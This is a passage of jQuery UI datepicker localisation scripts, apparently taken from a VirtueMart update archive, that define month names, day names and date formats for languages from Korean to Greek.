yearSuffix: '年'}; $.datepicker.setDefaults($.datepicker.regional['ja']); });/* Korean initialisation for the jQuery calendar extension. */ /* Written by DaeKwon Kang (ncrash.dk@gmail.com). */ jQuery(function($){ $.datepicker.regional['ko'] = { closeText: '닫기', prevText: '이전달', nextText: '다음달', currentText: '오늘', monthNames: ['1월(JAN)','2월(FEB)','3월(MAR)','4월(APR)','5월(MAY)','6월(JUN)', '7월(JUL)','8월(AUG)','9월(SEP)','10월(OCT)','11월(NOV)','12월(DEC)'], monthNamesShort: ['1월(JAN)','2월(FEB)','3월(MAR)','4월(APR)','5월(MAY)','6월(JUN)', '7월(JUL)','8월(AUG)','9월(SEP)','10월(OCT)','11월(NOV)','12월(DEC)'], dayNames: ['일','월','화','수','목','금','토'], dayNamesShort: ['일','월','화','수','목','금','토'], dayNamesMin: ['일','월','화','수','목','금','토'], weekHeader: 'Wk', dateFormat: 'yy-mm-dd', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: '년'}; $.datepicker.setDefaults($.datepicker.regional['ko']); });/* Kazakh (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* Written by Dmitriy Karasyov (dmitriy.karasyov@gmail.com). */ jQuery(function($){ $.datepicker.regional['kz'] = { closeText: 'Жабу', prevText: '<Алдыңғы', nextText: 'Келесі>', currentText: 'Бүгін', monthNames: ['Қаңтар','Ақпан','Наурыз','Сәуір','Мамыр','Маусым', 'Шілде','Тамыз','Қыркүйек','Қазан','Қараша','Желтоқсан'], monthNamesShort: ['Қаң','Ақп','Нау','Сәу','Мам','Мау', 'Шіл','Там','Қыр','Қаз','Қар','Жел'], dayNames: ['Жексенбі','Дүйсенбі','Сейсенбі','Сәрсенбі','Бейсенбі','Жұма','Сенбі'], dayNamesShort: ['жкс','дсн','ссн','срс','бсн','жма','снб'], dayNamesMin: ['Жк','Дс','Сс','Ср','Бс','Жм','Сн'], weekHeader: 'Не', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['kz']); }); /* Lithuanian (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* @author Arturas Paleicikas */ jQuery(function($){ $.datepicker.regional['lt'] = { closeText: 'Uždaryti', prevText: '<Atgal', nextText: 'Pirmyn>', currentText: 'Šiandien', monthNames: ['Sausis','Vasaris','Kovas','Balandis','Gegužė','Birželis', 'Liepa','Rugpjūtis','Rugsėjis','Spalis','Lapkritis','Gruodis'], monthNamesShort: ['Sau','Vas','Kov','Bal','Geg','Bir', 'Lie','Rugp','Rugs','Spa','Lap','Gru'], dayNames: ['sekmadienis','pirmadienis','antradienis','trečiadienis','ketvirtadienis','penktadienis','šeštadienis'], dayNamesShort: ['sek','pir','ant','tre','ket','pen','šeš'], dayNamesMin: ['Se','Pr','An','Tr','Ke','Pe','Še'], weekHeader: 'Wk', dateFormat: 'yy-mm-dd', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['lt']); });/* Latvian (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* @author Arturas Paleicikas */ jQuery(function($){ $.datepicker.regional['lv'] = { closeText: 'Aizvērt', prevText: 'Iepr', nextText: 'Nāka', currentText: 'Šodien', monthNames: ['Janvāris','Februāris','Marts','Aprīlis','Maijs','Jūnijs', 'Jūlijs','Augusts','Septembris','Oktobris','Novembris','Decembris'], monthNamesShort: ['Jan','Feb','Mar','Apr','Mai','Jūn', 'Jūl','Aug','Sep','Okt','Nov','Dec'], dayNames: ['svētdiena','pirmdiena','otrdiena','trešdiena','ceturtdiena','piektdiena','sestdiena'], dayNamesShort: ['svt','prm','otr','tre','ctr','pkt','sst'], dayNamesMin: ['Sv','Pr','Ot','Tr','Ct','Pk','Ss'], weekHeader: 'Nav', dateFormat: 'dd-mm-yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['lv']); });/* Malayalam (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* Written by Saji Nediyanchath (saji89@gmail.com). */ jQuery(function($){ $.datepicker.regional['ml'] = { closeText: 'ശരി', prevText: 'മുന്നത്തെ', nextText: 'അടുത്തത് ', currentText: 'ഇന്ന്', monthNames: ['ജനുവരി','ഫെബ്രുവരി','മാര്‍ച്ച്','ഏപ്രില്‍','മേയ്','ജൂണ്‍', 'ജൂലൈ','ആഗസ്റ്റ്','സെപ്റ്റംബര്‍','ഒക്ടോബര്‍','നവംബര്‍','ഡിസംബര്‍'], monthNamesShort: ['ജനു', 'ഫെബ്', 'മാര്‍', 'ഏപ്രി', 'മേയ്', 'ജൂണ്‍', 'ജൂലാ', 'ആഗ', 'സെപ്', 'ഒക്ടോ', 'നവം', 'ഡിസ'], dayNames: ['ഞായര്‍', 'തിങ്കള്‍', 'ചൊവ്വ', 'ബുധന്‍', 'വ്യാഴം', 'വെള്ളി', 'ശനി'], dayNamesShort: ['ഞായ', 'തിങ്ക', 'ചൊവ്വ', 'ബുധ', 'വ്യാഴം', 'വെള്ളി', 'ശനി'], dayNamesMin: ['ഞാ','തി','ചൊ','ബു','വ്യാ','വെ','ശ'], weekHeader: 'ആ', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['ml']); }); /* Malaysian initialisation for the jQuery UI date picker plugin. */ /* Written by Mohd Nawawi Mohamad Jamili (nawawi@ronggeng.net). */ jQuery(function($){ $.datepicker.regional['ms'] = { closeText: 'Tutup', prevText: '<Sebelum', nextText: 'Selepas>', currentText: 'hari ini', monthNames: ['Januari','Februari','Mac','April','Mei','Jun', 'Julai','Ogos','September','Oktober','November','Disember'], monthNamesShort: ['Jan','Feb','Mac','Apr','Mei','Jun', 'Jul','Ogo','Sep','Okt','Nov','Dis'], dayNames: ['Ahad','Isnin','Selasa','Rabu','Khamis','Jumaat','Sabtu'], dayNamesShort: ['Aha','Isn','Sel','Rab','kha','Jum','Sab'], dayNamesMin: ['Ah','Is','Se','Ra','Kh','Ju','Sa'], weekHeader: 'Mg', dateFormat: 'dd/mm/yy', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['ms']); });/* Dutch (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* Written by Mathias Bynens */ jQuery(function($){ $.datepicker.regional.nl = { closeText: 'Sluiten', prevText: '←', nextText: '→', currentText: 'Vandaag', monthNames: ['januari', 'februari', 'maart', 'april', 'mei', 'juni', 'juli', 'augustus', 'september', 'oktober', 'november', 'december'], monthNamesShort: ['jan', 'feb', 'maa', 'apr', 'mei', 'jun', 'jul', 'aug', 'sep', 'okt', 'nov', 'dec'], dayNames: ['zondag', 'maandag', 'dinsdag', 'woensdag', 'donderdag', 'vrijdag', 'zaterdag'], dayNamesShort: ['zon', 'maa', 'din', 'woe', 'don', 'vri', 'zat'], dayNamesMin: ['zo', 'ma', 'di', 'wo', 'do', 'vr', 'za'], weekHeader: 'Wk', dateFormat: 'dd-mm-yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional.nl); });/* Norwegian initialisation for the jQuery UI date picker plugin. */ /* Written by Naimdjon Takhirov (naimdjon@gmail.com). */ jQuery(function($){ $.datepicker.regional['no'] = { closeText: 'Lukk', prevText: '«Forrige', nextText: 'Neste»', currentText: 'I dag', monthNames: ['januar','februar','mars','april','mai','juni','juli','august','september','oktober','november','desember'], monthNamesShort: ['jan','feb','mar','apr','mai','jun','jul','aug','sep','okt','nov','des'], dayNamesShort: ['søn','man','tir','ons','tor','fre','lør'], dayNames: ['søndag','mandag','tirsdag','onsdag','torsdag','fredag','lørdag'], dayNamesMin: ['sø','ma','ti','on','to','fr','lø'], weekHeader: 'Uke', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: '' }; $.datepicker.setDefaults($.datepicker.regional['no']); }); /* Polish initialisation for the jQuery UI date picker plugin. */ /* Written by Jacek Wysocki (jacek.wysocki@gmail.com). */ jQuery(function($){ $.datepicker.regional['pl'] = { closeText: 'Zamknij', prevText: '<Poprzedni', nextText: 'Następny>', currentText: 'Dziś', monthNames: ['Styczeń','Luty','Marzec','Kwiecień','Maj','Czerwiec', 'Lipiec','Sierpień','Wrzesień','Październik','Listopad','Grudzień'], monthNamesShort: ['Sty','Lu','Mar','Kw','Maj','Cze', 'Lip','Sie','Wrz','Pa','Lis','Gru'], dayNames: ['Niedziela','Poniedziałek','Wtorek','Środa','Czwartek','Piątek','Sobota'], dayNamesShort: ['Nie','Pn','Wt','Śr','Czw','Pt','So'], dayNamesMin: ['N','Pn','Wt','Śr','Cz','Pt','So'], weekHeader: 'Tydz', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['pl']); }); /* Brazilian initialisation for the jQuery UI date picker plugin. */ /* Written by Leonildo Costa Silva (leocsilva@gmail.com). */ jQuery(function($){ $.datepicker.regional['pt-BR'] = { closeText: 'Fechar', prevText: '<Anterior', nextText: 'Próximo>', currentText: 'Hoje', monthNames: ['Janeiro','Fevereiro','Março','Abril','Maio','Junho', 'Julho','Agosto','Setembro','Outubro','Novembro','Dezembro'], monthNamesShort: ['Jan','Fev','Mar','Abr','Mai','Jun', 'Jul','Ago','Set','Out','Nov','Dez'], dayNames: ['Domingo','Segunda-feira','Terça-feira','Quarta-feira','Quinta-feira','Sexta-feira','Sábado'], dayNamesShort: ['Dom','Seg','Ter','Qua','Qui','Sex','Sáb'], dayNamesMin: ['Dom','Seg','Ter','Qua','Qui','Sex','Sáb'], weekHeader: 'Sm', dateFormat: 'dd/mm/yy', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['pt-BR']); });/* Portuguese initialisation for the jQuery UI date picker plugin. */ jQuery(function($){ $.datepicker.regional['pt'] = { closeText: 'Fechar', prevText: '<Anterior', nextText: 'Seguinte', currentText: 'Hoje', monthNames: ['Janeiro','Fevereiro','Março','Abril','Maio','Junho', 'Julho','Agosto','Setembro','Outubro','Novembro','Dezembro'], monthNamesShort: ['Jan','Fev','Mar','Abr','Mai','Jun', 'Jul','Ago','Set','Out','Nov','Dez'], dayNames: ['Domingo','Segunda-feira','Terça-feira','Quarta-feira','Quinta-feira','Sexta-feira','Sábado'], dayNamesShort: ['Dom','Seg','Ter','Qua','Qui','Sex','Sáb'], dayNamesMin: ['Dom','Seg','Ter','Qua','Qui','Sex','Sáb'], weekHeader: 'Sem', dateFormat: 'dd/mm/yy', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['pt']); });/* Romansh initialisation for the jQuery UI date picker plugin. */ /* Written by Yvonne Gienal (yvonne.gienal@educa.ch). */ jQuery(function($){ $.datepicker.regional['rm'] = { closeText: 'Serrar', prevText: '<Suandant', nextText: 'Precedent>', currentText: 'Actual', monthNames: ['Schaner','Favrer','Mars','Avrigl','Matg','Zercladur', 'Fanadur','Avust','Settember','October','November','December'], monthNamesShort: ['Scha','Fev','Mar','Avr','Matg','Zer', 'Fan','Avu','Sett','Oct','Nov','Dec'], dayNames: ['Dumengia','Glindesdi','Mardi','Mesemna','Gievgia','Venderdi','Sonda'], dayNamesShort: ['Dum','Gli','Mar','Mes','Gie','Ven','Som'], dayNamesMin: ['Du','Gl','Ma','Me','Gi','Ve','So'], weekHeader: 'emna', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['rm']); }); /* Romanian initialisation for the jQuery UI date picker plugin. * * Written by Edmond L. (ll_edmond@walla.com) * and Ionut G. Stan (ionut.g.stan@gmail.com) */ jQuery(function($){ $.datepicker.regional['ro'] = { closeText: 'Închide', prevText: '« Luna precedentă', nextText: 'Luna următoare »', currentText: 'Azi', monthNames: ['Ianuarie','Februarie','Martie','Aprilie','Mai','Iunie', 'Iulie','August','Septembrie','Octombrie','Noiembrie','Decembrie'], monthNamesShort: ['Ian', 'Feb', 'Mar', 'Apr', 'Mai', 'Iun', 'Iul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'], dayNames: ['Duminică', 'Luni', 'Marţi', 'Miercuri', 'Joi', 'Vineri', 'Sâmbătă'], dayNamesShort: ['Dum', 'Lun', 'Mar', 'Mie', 'Joi', 'Vin', 'Sâm'], dayNamesMin: ['Du','Lu','Ma','Mi','Jo','Vi','Sâ'], weekHeader: 'Săpt', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['ro']); }); /* Russian (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* Written by Andrew Stromnov (stromnov@gmail.com). */ jQuery(function($){ $.datepicker.regional['ru'] = { closeText: 'Закрыть', prevText: '<Пред', nextText: 'След>', currentText: 'Сегодня', monthNames: ['Январь','Февраль','Март','Апрель','Май','Июнь', 'Июль','Август','Сентябрь','Октябрь','Ноябрь','Декабрь'], monthNamesShort: ['Янв','Фев','Мар','Апр','Май','Июн', 'Июл','Авг','Сен','Окт','Ноя','Дек'], dayNames: ['воскресенье','понедельник','вторник','среда','четверг','пятница','суббота'], dayNamesShort: ['вск','пнд','втр','срд','чтв','птн','сбт'], dayNamesMin: ['Вс','Пн','Вт','Ср','Чт','Пт','Сб'], weekHeader: 'Нед', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['ru']); });/* Slovak initialisation for the jQuery UI date picker plugin. */ /* Written by Vojtech Rinik (vojto@hmm.sk). */ jQuery(function($){ $.datepicker.regional['sk'] = { closeText: 'Zavrieť', prevText: '<Predchádzajúci', nextText: 'Nasledujúci>', currentText: 'Dnes', monthNames: ['Január','Február','Marec','Apríl','Máj','Jún', 'Júl','August','September','Október','November','December'], monthNamesShort: ['Jan','Feb','Mar','Apr','Máj','Jún', 'Júl','Aug','Sep','Okt','Nov','Dec'], dayNames: ['Nedeľa','Pondelok','Utorok','Streda','Štvrtok','Piatok','Sobota'], dayNamesShort: ['Ned','Pon','Uto','Str','Štv','Pia','Sob'], dayNamesMin: ['Ne','Po','Ut','St','Št','Pia','So'], weekHeader: 'Ty', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['sk']); }); /* Slovenian initialisation for the jQuery UI date picker plugin. */ /* Written by Jaka Jancar (jaka@kubje.org). */ /* c = č, s = š z = ž C = Č S = Š Z = Ž */ jQuery(function($){ $.datepicker.regional['sl'] = { closeText: 'Zapri', prevText: '<Prejšnji', nextText: 'Naslednji>', currentText: 'Trenutni', monthNames: ['Januar','Februar','Marec','April','Maj','Junij', 'Julij','Avgust','September','Oktober','November','December'], monthNamesShort: ['Jan','Feb','Mar','Apr','Maj','Jun', 'Jul','Avg','Sep','Okt','Nov','Dec'], dayNames: ['Nedelja','Ponedeljek','Torek','Sreda','Četrtek','Petek','Sobota'], dayNamesShort: ['Ned','Pon','Tor','Sre','Čet','Pet','Sob'], dayNamesMin: ['Ne','Po','To','Sr','Če','Pe','So'], weekHeader: 'Teden', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['sl']); }); /* Albanian initialisation for the jQuery UI date picker plugin. */ /* Written by Flakron Bytyqi (flakron@gmail.com). */ jQuery(function($){ $.datepicker.regional['sq'] = { closeText: 'mbylle', prevText: '<mbrapa', nextText: 'Përpara>', currentText: 'sot', monthNames: ['Janar','Shkurt','Mars','Prill','Maj','Qershor', 'Korrik','Gusht','Shtator','Tetor','Nëntor','Dhjetor'], monthNamesShort: ['Jan','Shk','Mar','Pri','Maj','Qer', 'Kor','Gus','Sht','Tet','Nën','Dhj'], dayNames: ['E Diel','E Hënë','E Martë','E Mërkurë','E Enjte','E Premte','E Shtune'], dayNamesShort: ['Di','Hë','Ma','Më','En','Pr','Sh'], dayNamesMin: ['Di','Hë','Ma','Më','En','Pr','Sh'], weekHeader: 'Ja', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['sq']); }); /* Serbian i18n for the jQuery UI date picker plugin. */ /* Written by Dejan Dimić. */ jQuery(function($){ $.datepicker.regional['sr-SR'] = { closeText: 'Zatvori', prevText: '<', nextText: '>', currentText: 'Danas', monthNames: ['Januar','Februar','Mart','April','Maj','Jun', 'Jul','Avgust','Septembar','Oktobar','Novembar','Decembar'], monthNamesShort: ['Jan','Feb','Mar','Apr','Maj','Jun', 'Jul','Avg','Sep','Okt','Nov','Dec'], dayNames: ['Nedelja','Ponedeljak','Utorak','Sreda','Četvrtak','Petak','Subota'], dayNamesShort: ['Ned','Pon','Uto','Sre','Čet','Pet','Sub'], dayNamesMin: ['Ne','Po','Ut','Sr','Če','Pe','Su'], weekHeader: 'Sed', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['sr-SR']); }); /* Serbian i18n for the jQuery UI date picker plugin. */ /* Written by Dejan Dimić. */ jQuery(function($){ $.datepicker.regional['sr'] = { closeText: 'Затвори', prevText: '<', nextText: '>', currentText: 'Данас', monthNames: ['Јануар','Фебруар','Март','Април','Мај','Јун', 'Јул','Август','Септембар','Октобар','Новембар','Децембар'], monthNamesShort: ['Јан','Феб','Мар','Апр','Мај','Јун', 'Јул','Авг','Сеп','Окт','Нов','Дец'], dayNames: ['Недеља','Понедељак','Уторак','Среда','Четвртак','Петак','Субота'], dayNamesShort: ['Нед','Пон','Уто','Сре','Чет','Пет','Суб'], dayNamesMin: ['Не','По','Ут','Ср','Че','Пе','Су'], weekHeader: 'Сед', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['sr']); }); /* Swedish initialisation for the jQuery UI date picker plugin. */ /* Written by Anders Ekdahl ( anders@nomadiz.se). */ jQuery(function($){ $.datepicker.regional['sv'] = { closeText: 'Stäng', prevText: '«Förra', nextText: 'Nästa»', currentText: 'Idag', monthNames: ['Januari','Februari','Mars','April','Maj','Juni', 'Juli','Augusti','September','Oktober','November','December'], monthNamesShort: ['Jan','Feb','Mar','Apr','Maj','Jun', 'Jul','Aug','Sep','Okt','Nov','Dec'], dayNamesShort: ['Sön','Mån','Tis','Ons','Tor','Fre','Lör'], dayNames: ['Söndag','Måndag','Tisdag','Onsdag','Torsdag','Fredag','Lördag'], dayNamesMin: ['Sö','Må','Ti','On','To','Fr','Lö'], weekHeader: 'Ve', dateFormat: 'yy-mm-dd', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['sv']); }); /* Tamil (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* Written by S A Sureshkumar (saskumar@live.com). */ jQuery(function($){ $.datepicker.regional['ta'] = { closeText: 'மூடு', prevText: 'முன்னையது', nextText: 'அடுத்தது', currentText: 'இன்று', monthNames: ['தை','மாசி','பங்குனி','சித்திரை','வைகாசி','ஆனி', 'ஆடி','ஆவணி','புரட்டாசி','ஐப்பசி','கார்த்திகை','மார்கழி'], monthNamesShort: ['தை','மாசி','பங்','சித்','வைகா','ஆனி', 'ஆடி','ஆவ','புர','ஐப்','கார்','மார்'], dayNames: ['ஞாயிற்றுக்கிழமை','திங்கட்கிழமை','செவ்வாய்க்கிழமை','புதன்கிழமை','வியாழக்கிழமை','வெள்ளிக்கிழமை','சனிக்கிழமை'], dayNamesShort: ['ஞாயிறு','திங்கள்','செவ்வாய்','புதன்','வியாழன்','வெள்ளி','சனி'], dayNamesMin: ['ஞா','தி','செ','பு','வி','வெ','ச'], weekHeader: 'Не', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['ta']); }); /* Thai initialisation for the jQuery UI date picker plugin. */ /* Written by pipo (pipo@sixhead.com). */ jQuery(function($){ $.datepicker.regional['th'] = { closeText: 'ปิด', prevText: '« ย้อน', nextText: 'ถัดไป »', currentText: 'วันนี้', monthNames: ['มกราคม','กุมภาพันธ์','มีนาคม','เมษายน','พฤษภาคม','มิถุนายน', 'กรกฎาคม','สิงหาคม','กันยายน','ตุลาคม','พฤศจิกายน','ธันวาคม'], monthNamesShort: ['ม.ค.','ก.พ.','มี.ค.','เม.ย.','พ.ค.','มิ.ย.', 'ก.ค.','ส.ค.','ก.ย.','ต.ค.','พ.ย.','ธ.ค.'], dayNames: ['อาทิตย์','จันทร์','อังคาร','พุธ','พฤหัสบดี','ศุกร์','เสาร์'], dayNamesShort: ['อา.','จ.','อ.','พ.','พฤ.','ศ.','ส.'], dayNamesMin: ['อา.','จ.','อ.','พ.','พฤ.','ศ.','ส.'], weekHeader: 'Wk', dateFormat: 'dd/mm/yy', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['th']); });/* Tajiki (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* Written by Abdurahmon Saidov (saidovab@gmail.com). */ jQuery(function($){ $.datepicker.regional['tj'] = { closeText: 'Идома', prevText: '<Қафо', nextText: 'Пеш>', currentText: 'Имрӯз', monthNames: ['Январ','Феврал','Март','Апрел','Май','Июн', 'Июл','Август','Сентябр','Октябр','Ноябр','Декабр'], monthNamesShort: ['Янв','Фев','Мар','Апр','Май','Июн', 'Июл','Авг','Сен','Окт','Ноя','Дек'], dayNames: ['якшанбе','душанбе','сешанбе','чоршанбе','панҷшанбе','ҷумъа','шанбе'], dayNamesShort: ['якш','душ','сеш','чор','пан','ҷум','шан'], dayNamesMin: ['Як','Дш','Сш','Чш','Пш','Ҷм','Шн'], weekHeader: 'Хф', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['tj']); });/* Turkish initialisation for the jQuery UI date picker plugin. */ /* Written by Izzet Emre Erkan (kara@karalamalar.net). */ jQuery(function($){ $.datepicker.regional['tr'] = { closeText: 'kapat', prevText: '<geri', nextText: 'ileri>', currentText: 'bugün', monthNames: ['Ocak','Şubat','Mart','Nisan','Mayıs','Haziran', 'Temmuz','Ağustos','Eylül','Ekim','Kasım','Aralık'], monthNamesShort: ['Oca','Şub','Mar','Nis','May','Haz', 'Tem','Ağu','Eyl','Eki','Kas','Ara'], dayNames: ['Pazar','Pazartesi','Salı','Çarşamba','Perşembe','Cuma','Cumartesi'], dayNamesShort: ['Pz','Pt','Sa','Ça','Pe','Cu','Ct'], dayNamesMin: ['Pz','Pt','Sa','Ça','Pe','Cu','Ct'], weekHeader: 'Hf', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['tr']); });/* Ukrainian (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* Written by Maxim Drogobitskiy (maxdao@gmail.com). */ jQuery(function($){ $.datepicker.regional['uk'] = { closeText: 'Закрити', prevText: '<', nextText: '>', currentText: 'Сьогодні', monthNames: ['Січень','Лютий','Березень','Квітень','Травень','Червень', 'Липень','Серпень','Вересень','Жовтень','Листопад','Грудень'], monthNamesShort: ['Січ','Лют','Бер','Кві','Тра','Чер', 'Лип','Сер','Вер','Жов','Лис','Гру'], dayNames: ['неділя','понеділок','вівторок','середа','четвер','п’ятниця','субота'], dayNamesShort: ['нед','пнд','вів','срд','чтв','птн','сбт'], dayNamesMin: ['Нд','Пн','Вт','Ср','Чт','Пт','Сб'], weekHeader: 'Не', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['uk']); });/* Vietnamese initialisation for the jQuery UI date picker plugin. */ /* Translated by Le Thanh Huy (lthanhhuy@cit.ctu.edu.vn). */ jQuery(function($){ $.datepicker.regional['vi'] = { closeText: 'Đóng', prevText: '<Trước', nextText: 'Tiếp>', currentText: 'Hôm nay', monthNames: ['Tháng Một', 'Tháng Hai', 'Tháng Ba', 'Tháng Tư', 'Tháng Năm', 'Tháng Sáu', 'Tháng Bảy', 'Tháng Tám', 'Tháng Chín', 'Tháng Mười', 'Tháng Mười Một', 'Tháng Mười Hai'], monthNamesShort: ['Tháng 1', 'Tháng 2', 'Tháng 3', 'Tháng 4', 'Tháng 5', 'Tháng 6', 'Tháng 7', 'Tháng 8', 'Tháng 9', 'Tháng 10', 'Tháng 11', 'Tháng 12'], dayNames: ['Chủ Nhật', 'Thứ Hai', 'Thứ Ba', 'Thứ Tư', 'Thứ Năm', 'Thứ Sáu', 'Thứ Bảy'], dayNamesShort: ['CN', 'T2', 'T3', 'T4', 'T5', 'T6', 'T7'], dayNamesMin: ['CN', 'T2', 'T3', 'T4', 'T5', 'T6', 'T7'], weekHeader: 'Tu', dateFormat: 'dd/mm/yy', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['vi']); }); /* Chinese initialisation for the jQuery UI date picker plugin. */ /* Written by Cloudream (cloudream@gmail.com). */ jQuery(function($){ $.datepicker.regional['zh-CN'] = { closeText: '关闭', prevText: '<上月', nextText: '下月>', currentText: '今天', monthNames: ['一月','二月','三月','四月','五月','六月', '七月','八月','九月','十月','十一月','十二月'], monthNamesShort: ['一','二','三','四','五','六', '七','八','九','十','十一','十二'], dayNames: ['星期日','星期一','星期二','星期三','星期四','星期五','星期六'], dayNamesShort: ['周日','周一','周二','周三','周四','周五','周六'], dayNamesMin: ['日','一','二','三','四','五','六'], weekHeader: '周', dateFormat: 'yy-mm-dd', firstDay: 1, isRTL: false, showMonthAfterYear: true, yearSuffix: '年'}; $.datepicker.setDefaults($.datepicker.regional['zh-CN']); }); /* Chinese initialisation for the jQuery UI date picker plugin. */ /* Written by SCCY (samuelcychan@gmail.com). */ jQuery(function($){ $.datepicker.regional['zh-HK'] = { closeText: '關閉', prevText: '<上月', nextText: '下月>', currentText: '今天', monthNames: ['一月','二月','三月','四月','五月','六月', '七月','八月','九月','十月','十一月','十二月'], monthNamesShort: ['一','二','三','四','五','六', '七','八','九','十','十一','十二'], dayNames: ['星期日','星期一','星期二','星期三','星期四','星期五','星期六'], dayNamesShort: ['周日','周一','周二','周三','周四','周五','周六'], dayNamesMin: ['日','一','二','三','四','五','六'], weekHeader: '周', dateFormat: 'dd-mm-yy', firstDay: 0, isRTL: false, showMonthAfterYear: true, yearSuffix: '年'}; $.datepicker.setDefaults($.datepicker.regional['zh-HK']); }); /* Chinese initialisation for the jQuery UI date picker plugin. */ /* Written by Ressol (ressol@gmail.com). */ jQuery(function($){ $.datepicker.regional['zh-TW'] = { closeText: '關閉', prevText: '<上月', nextText: '下月>', currentText: '今天', monthNames: ['一月','二月','三月','四月','五月','六月', '七月','八月','九月','十月','十一月','十二月'], monthNamesShort: ['一','二','三','四','五','六', '七','八','九','十','十一','十二'], dayNames: ['星期日','星期一','星期二','星期三','星期四','星期五','星期六'], dayNamesShort: ['周日','周一','周二','周三','周四','周五','周六'], dayNamesMin: ['日','一','二','三','四','五','六'], weekHeader: '周', dateFormat: 'yy/mm/dd', firstDay: 1, isRTL: false, showMonthAfterYear: true, yearSuffix: '年'}; $.datepicker.setDefaults($.datepicker.regional['zh-TW']); }); PKtl>\U4=ddYcom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-hr.jsnuW+A/* Croatian i18n for the jQuery UI date picker plugin. */ /* Written by Vjekoslav Nesek. */ jQuery(function($){ $.datepicker.regional['hr'] = { closeText: 'Zatvori', prevText: '<', nextText: '>', currentText: 'Danas', monthNames: ['Siječanj','Veljača','Ožujak','Travanj','Svibanj','Lipanj', 'Srpanj','Kolovoz','Rujan','Listopad','Studeni','Prosinac'], monthNamesShort: ['Sij','Velj','Ožu','Tra','Svi','Lip', 'Srp','Kol','Ruj','Lis','Stu','Pro'], dayNames: ['Nedjelja','Ponedjeljak','Utorak','Srijeda','Četvrtak','Petak','Subota'], dayNamesShort: ['Ned','Pon','Uto','Sri','Čet','Pet','Sub'], dayNamesMin: ['Ne','Po','Ut','Sr','Če','Pe','Su'], weekHeader: 'Tje', dateFormat: 'dd.mm.yy.', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['hr']); });PKtl>\aYcom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-el.jsnuW+A/* Greek (el) initialisation for the jQuery UI date picker plugin. */ /* Written by Alex Cicovic (http://www.alexcicovic.com) */ jQuery(function($){ $.datepicker.regional['el'] = { closeText: 'Κλείσιμο', prevText: 'Προηγούμενος', nextText: 'Επόμενος', currentText: 'Τρέχων Μήνας', monthNames: ['Ιανουάριος','Φεβρουάριος','Μάρτιος','Απρίλιος','Μάιος','Ιούνιος', 'Ιούλιος','Αύγουστος','Σεπτέμβριος','Οκτώβριος','Νοέμβριος','Δεκέμβριος'], monthNamesShort: 